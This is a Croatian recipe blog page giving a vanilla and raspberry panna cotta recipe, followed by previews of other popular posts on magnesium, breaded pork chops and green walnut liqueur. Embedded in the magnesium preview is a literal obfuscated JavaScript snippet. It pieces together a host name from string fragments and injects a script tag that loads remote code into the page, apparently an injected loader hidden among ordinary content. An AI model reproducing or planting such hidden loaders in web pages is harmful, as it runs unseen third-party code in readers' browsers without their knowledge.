PANNA COTTA S VANILIJOM I MALINAMA




Panna cotta s vanilijom i malinama 



Neki deserti koji ne trebaju mnogo dodataka da bi ostavili dojam, a panna cotta jedan je od njih. Elegantna talijanska slastica nježne teksture temelji se na nekoliko pažljivo odabranih sastojaka. Kremasta, svilenkasta i lagano aromatizirana vanilijom, idealan je izbor kada želite pripremiti desert koji izgleda profinjeno, a zapravo se radi vrlo jednostavno.




Panna cotta s vanilijom i malinama 


Sastojci:

500 ml slatkog vrhnja za šlag (min. 35 % m.m.)
250 ml punomasnog mlijeka
80 g šećera
mahuna vanilije
7 g želatine u prahu ili 4 listića želatine
40 ml hladne vode (ako koristite želatinu u prahu)
prstohvat soli
šaka malina




Priprema:

Pomiješajte želatinu s hladnom vodom i ostavite 5-10 minuta da nabubri. Ako koristite listiće, namočite ih u hladnoj vodi. Prerežite mahunu vanilije po dužini pa tupom stranom noža ostružite sjemenke. Ulijte slatko vrhnje i mlijeko u lonac. Dodajte šećer, prstohvat soli, sjemenke vanilije i praznu mahunu.

Zagrijavajte na srednje jakoj vatri dok se šećer ne otopi i smjesa ne bude tik do vrenja. Nemojte dopustiti da zavrije. Maknite lonac s vatre, poklopite i ostavite 15 minuta kako bi vanilija pustila punu aromu. Izvadite mahunu pa smjesu ponovno kratko zagrijte. Dodajte nabubrenu želatinu i miješajte dok se potpuno ne otopi.

Procijedite kroz fino sito i rasporedite u šest čašica. Ostavite da se ohladi na sobnoj temperaturi pa premjestite u hladnjak na najmanje četiri sata, a idealno preko noći. Prije posluživanja, na vrh dodajte nekoliko svježih malina.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više